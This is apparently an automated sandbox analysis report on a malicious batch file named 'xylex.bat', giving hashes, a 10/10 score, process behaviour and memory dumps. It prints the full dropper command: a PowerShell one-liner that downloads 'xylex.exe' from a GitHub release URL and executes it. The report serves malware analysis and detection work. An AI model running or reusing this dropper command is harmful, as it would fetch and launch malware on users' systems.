e6c7ba11549261c7f3a3bafcd18fb8b60c0ccffa3ea6bf05eefc282c869a63a9

Analysis

max time kernel
121s
max time network
122s
platform
windows7_x64
resource
win7-20240508-en
resource tags

arch:x64arch:x86image:win7-20240508-enlocale:en-usos:windows7-x64system
submitted
02/06/2024, 23:24

Target

Xylex-100% Unc/xylex.bat
Size

244B
MD5

ac122c56306baae12bc1dbc69455249a
SHA1

8f7be0cb0c88260843111257c349f5e2a0fa5b1a
SHA256

702d2a9930bf8d16752c3dbe1d5b5382c592c13e85e54fe0cd59df2ad4f764db
SHA512

a66df3c5a8c21561dad7ffba4eecc132fce6388797dabdd63eaa6d077d8ebf0298a0220331b0a8f28208a80f1b4cf3ec1ce74a76cf61b428bf03f2d2e637951b

Score

10^/10

Language

ps1

Deobfuscated

URLs

exe.dropper

https://github.com/xylexV5/xylexz/releases/download/vypix/xylex.exe

Blocklisted process makes network request 2 IoCs

flow	pid	Process
3	2004	powershell.exe
4	2004	powershell.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2004	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2004	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 3016 wrote to memory of 2004	3016	cmd.exe	29
PID 3016 wrote to memory of 2004	3016	cmd.exe	29
PID 3016 wrote to memory of 2004	3016	cmd.exe	29

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\Xylex-100% Unc\xylex.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:3016
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell $down=New-Object System.Net.WebClient;$url='https://github.com/xylexV5/xylexz/releases/download/vypix/xylex.exe';$file='xylex.exe'; $down.DownloadFile($url,$file);$exec=New-Object -com shell.application;$exec.shellexecute($file);exit
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2004

memory/2004-4-0x000007FEF5A5E000-0x000007FEF5A5F000-memory.dmp

Filesize
4KB

Download
memory/2004-5-0x000000001B670000-0x000000001B952000-memory.dmp

Filesize
2.9MB

Download
memory/2004-6-0x0000000002690000-0x0000000002698000-memory.dmp

Filesize
32KB

Download
memory/2004-7-0x000007FEF57A0000-0x000007FEF613D000-memory.dmp

Filesize
9.6MB

Download
memory/2004-8-0x000007FEF57A0000-0x000007FEF613D000-memory.dmp

Filesize
9.6MB

Download
memory/2004-9-0x000007FEF57A0000-0x000007FEF613D000-memory.dmp

Filesize
9.6MB

Download
memory/2004-10-0x000007FEF57A0000-0x000007FEF613D000-memory.dmp

Filesize
9.6MB

Download